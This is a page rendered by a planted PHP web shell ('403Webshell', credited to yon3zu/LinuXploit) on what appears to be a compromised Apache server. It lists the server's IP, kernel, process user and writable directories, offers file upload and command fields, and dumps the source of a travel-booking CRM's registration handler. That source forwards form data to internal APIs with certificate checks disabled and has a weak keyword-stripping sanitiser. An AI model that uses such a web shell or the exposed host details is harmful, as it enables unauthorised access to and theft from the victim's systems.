403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/saveregistrationform.php
<?php
if ($_SERVER['HTTP_HOST'] == 'local.b2bzend.com') {
    $baseUrl = 'http://local.b2bzend.com/';
} else if ($_SERVER['HTTP_HOST'] == 'crm.ineedtrip.com') {
    $baseUrl = 'https://crm.ineedtrip.com/';
} else if ($_SERVER['HTTP_HOST'] == 'st.globaltravelexchange.com') {
    $baseUrl = 'http://st.globaltravelexchange.com/';
} else {
    $baseUrl = 'https://globaltravelexchange.com/';
}
require_once 'cronjob/init.php';
error_reporting(E_ALL);
$TblAgency = new Travel_Model_TblAgency();
$crmcustomerObj = new Travel_Model_CRM_Customer();
$crmagencyleadaccountObj = new Travel_Model_CRM_AgencyLeadAccount();
$agencycustomerObj = new Travel_Model_CRM_AgencyCustomer();
$resultArr = array();
if ($_POST) {

    $CompanyName = (isset($_POST['CompanyName']) && !empty($_POST['CompanyName'])) ? trim($_POST['CompanyName']) : '';
    $Salutation = (isset($_POST['Salutation']) && !empty($_POST['Salutation'])) ? (int)($_POST['Salutation']) : 1;
    $FirstName = (isset($_POST['FirstName']) && $_POST['FirstName'] != '') ? trim($_POST['FirstName']) : '';
    $LastName = (isset($_POST['LastName']) && $_POST['LastName'] != '') ? trim($_POST['LastName']) : '';
    $EmailId = isset($_POST['EmailId']) ? trim($_POST['EmailId']) : '';
    $CountryCode = isset($_POST['CountryCode']) ? $_POST['CountryCode'] : '+91';
    $MobileNo = isset($_POST['MobileNo']) ? trim($_POST['MobileNo']) : '';
    $AgencySysId = (int) $_POST['AgencySysId'];
    $updatedate = date('Y- m-d H:i');
    $Country = isset($_POST['Country']) ? trim($_POST['Country']) : '';
    $LeadSource = isset($_POST['LeadSource']) ? trim($_POST['LeadSource']) : '';
    $CountryId = isset($_POST['CountryId']) ? (int)$_POST['CountryId'] : 0;
    $City = isset($_POST['City']) ? trim($_POST['City']) : '';
    $CityId = isset($_POST['CityId']) ? (int)$_POST['CityId'] : 0;
    $B2BType = isset($_POST['B2BType']) ? (int)$_POST['B2BType'] : 0;
    $PlanType = isset($_POST['PlanType']) ? (int)$_POST['PlanType'] : 5;
    $PKGCheckInDate = isset($_POST['TravelDate']) ? trim($_POST['TravelDate']) : '';
    if(trim($FirstName) == ''){
        $resultArr = (array('status' => false, 'message'=>'Please enter first name.'));
        echo json_encode($resultArr); exit;
    }
    if(trim($LastName) == ''){
        $resultArr = (array('status' => false, 'message'=>'Please enter last name.'));
        echo json_encode($resultArr); exit;
    }
    if(trim($EmailId) == ''){
        $resultArr = (array('status' => false, 'message'=>'Please enter email id.'));
        echo json_encode($resultArr); exit;
    }
    if(trim($MobileNo) == ''){
        $resultArr = (array('status' => false, 'message'=>'Please enter mobile number.'));
        echo json_encode($resultArr); exit;
    }
    if(trim($PKGCheckInDate) == ''){
        $resultArr = (array('status' => false, 'message'=>'Please enter travel date.'));
        echo json_encode($resultArr); exit;
    }
    $UserDataByAgency = $TblAgency->getUserDataByAgency($AgencySysId);
    if(!empty($UserDataByAgency)){
//    echo "<pre>";print_r($UserDataByAgency);die;
        $IsDisplayHelloGTX = $UserDataByAgency['IsDisplayHelloGTX'];
        $SecurityKey = $UserDataByAgency['SecurityKey'];
        $apiData = array(
            'agencyName' => $CompanyName,
            'contactPerson' => '',
            'salutation' => $Salutation,
            'firstName' => $FirstName,
            'lastName' => $LastName,
            'emailId' => $EmailId,
            'countrycode' => $CountryCode,
            'mobileNo' => $MobileNo,
            'cityName' => $City,
            'countryName' => $Country,
            'stateName' => '',
            'CountryId' => $CountryId,
            'CityId' => $CityId,
            'StateId' => 0,
            'B2BType' => $B2BType,
            'AgencySysId' => $AgencySysId,
            'AgentSysId' => 0,
            'SecurityKey' => $SecurityKey,
        );
    
        try {
            $curl = curl_init($baseUrl . "gtxwebservices/create-b2b-agency/"); // b2c site url
            curl_setopt($curl, CURLOPT_POST, true);
            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($apiData));
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($curl, CURLOPT_TIMEOUT, 300);
            $response = curl_exec($curl);
            curl_close($curl);
            $responseArr = json_decode($response, 1);
            $roominfojson = [];
            $countRooms = (int) $_POST['room'];
            for ($i = 0, $k = 1; $k <= $countRooms; $k++, $i++) {
                $roominfojson[$k]['Adult'] = (int) $_POST['adult'][$i];
                $roominfojson[$k]['Child'] = (int) $_POST['child'][$i];
                $roominfojson[$k]['Infant'] = (int) $_POST['infant'][$i];


                if ($_POST['adult'][$i] == 3) {
                    $roominfojson[$k]['bedtype'] = $_POST['adult_bed_type'][$i];
                }
                if ($_POST['child'][$i] > 0) {
                    for ($c = 1; $c <= $_POST['child'][$i]; $c++) {
                        $roominfojson[$k]['ChildBedType_' . $c] = $_POST['child' . $c . '_bed_type'][$i];
                        $roominfojson[$k]['ChildAge_' . $c] = '';
                    }
                }
            }

            $remark = (isset($_POST['Remarks'])) ? trim($_POST['Remarks']) : '';
            $HotelPreference = (isset($_POST['HotelPreference'])) ? trim($_POST['HotelPreference']) : '';
            $apiDataQuery = [
                'AgencySysId'=>(int)$AgencySysId,
                'AgentSysId'=>0,
                'aId'=>(int)$responseArr['data']['UserSysId'],
                'Email'=>$EmailId,
                'mobile'=>$MobileNo,
                'fname'=>$FirstName,
                'lname'=> $LastName,
                'selectedCustomerId'=> (int)($responseArr['data']['CustomerSysId']),
                'TravelPlanId'=>0,
                'TPSysId'=>0,
                'nights'=>0,
                'PKGCheckInDate'=>$PKGCheckInDate,
                'PKGCheckOutDate'=>$PKGCheckInDate,
                'DestinationID'=>$CityId,
                'Destination'=>$City,
                'roomjson'=>json_encode($roominfojson),
                'agencyName'=>$CompanyName,
                'Remark'=>$remark,
                'HotelPreference'=>$HotelPreference,
                'PlanType'=>$PlanType,
                'leadsource'=>$LeadSource
            ];
            try {
                $curl = curl_init($baseUrl . "gtxwebservices/create-b2b-query/");  
                curl_setopt($curl, CURLOPT_POST, true);
                curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($apiDataQuery));
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($curl, CURLOPT_TIMEOUT, 300);
                $response = curl_exec($curl);
                curl_close($curl);
                $responseArr = json_decode($response, 1);
                if ($responseArr['status'] == true) {    
                    $resultArr = (array('status' => true, 'message'=>'', 'message' => $responseArr['message'], 'IsDisplayHelloGTX'=>$IsDisplayHelloGTX));
                } else {
                    $resultArr = (array('status' => false, 'message'=>$responseArr['message']));
                }
            } catch (Exception $ex) {
                $message = $ex->getMessage();
                $resultArr = (array('status' => false, 'message'=>$message));
            }
        } catch (Exception $ex) {
            $message = $ex->getMessage();
            $resultArr = (array('status' => false, 'message'=>$message));
        }
    }else{
        $resultArr = (array('status' => false, 'message'=>'Error!!!'));
    }
    echo json_encode($resultArr); exit;
}else{
    $resultArr = (array('status' => false, 'message'=>'Error!!!'));
    echo json_encode($resultArr); exit;
}

function sanitize_data($input_data)
{
    $searchArr = array("document", "write", "alert", "%", "$", ";", "+", "|", "#", "<", ">", "\'");
    $input_data = str_replace("script", "", $input_data);
    $input_data = str_replace("iframe", "", $input_data);
    $input_data = str_replace($searchArr, "", $input_data);
    return htmlentities(stripslashes($input_data), ENT_QUOTES);
}

Youez - 2016 - github.com/yon3zu
LinuXploit